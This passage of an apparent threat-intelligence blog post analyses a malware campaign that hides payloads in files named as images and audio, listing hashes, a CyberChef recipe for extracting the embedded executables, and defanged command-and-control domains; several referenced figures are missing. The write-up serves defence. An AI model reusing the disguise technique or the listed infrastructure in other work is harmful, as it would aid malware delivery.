e5b683b94d5693b0e94d510b60d3f012 ./new/task.jpg                 : ASCII text, with CRLF line terminators
67042ee02c159e234bdaa31d0ebc35ff ./new/powe.jpg                 : ASCII text, with very long lines (64990)
d7a68ed23f116402afdf2f0900983de8 ./new/htmlcpacode.mp3          : HTML document text, ASCII text, with very long lines (582), with CRLF line terminators
b2321dfa8451b287346cc38cc3e8b39d ./new/operadorfinal.jpg        : ASCII text, with very long lines (62981), with CRLF line terminators
9a89f14986d652fbb81bd12920752090 ./new/tarefacontabil.mp3       : HTML document text, ASCII text, with CRLF line terminators
7e1fe64bfa18bd3352a58526d23f3e66 ./new/modulocpaps1limpo.jpg    : ASCII text, with very long lines (63687), with CRLF line
9ecd35022a669bb5d79bacb68cc28150 ./new/ASYNKUPDATA.jpg          : ASCII text, with very long lines (63687), with CRLF line terminators

Along the way, notice the following tool is leveraged from Github as part of the infection chain:

CPA.jpg contains the following two executable payloads:

One can extract these via the ever-so-useful CyberChef tool:

https://gchq.github.io/CyberChef/#recipe=From_Decimal('Comma',false)Gunzip()

The executable communicates with a number of varying domains behind dynamic DNS providers, here’s a few examples:

  • warzonecdt.duckdns[.]org
  • cdtopicadasgalaxias.ddns[.]net
  • hotelposeidonia.ddns[.]net
  • 111234cdt.ddns[.]net
  • cdtcorporate.duckdns[.]org
  • googleservice64.ddns[.]net
  • putha.duckdns[.]org

The next step is to look for similar files, we’ll begin through a pivot on the malicious domain through InQuest Labs “lookup” tool. We’re able to search various sources and discover a malicious sample from October of last year that also leverages the same domain name unimed-corporated[.]com:

The payload delivery mechanism for 2f0f99cbac828092c0ec23e12ecb44cbf53f5a671a80842a2447e6114e4f6979 is different, notice the references to documents that are no longer host here:

Here’s an example email delivering a malware lure document containing the above references:

This is a good example of the value of threat intelligence and the pattern of infrastructure re-use by actors.


Tags
in-the-wild threat-intel

Get The InQuest Insider

Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to receive our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories, field notes about innovative malware, novel research / analysis / threat hunting tools, security tips and more.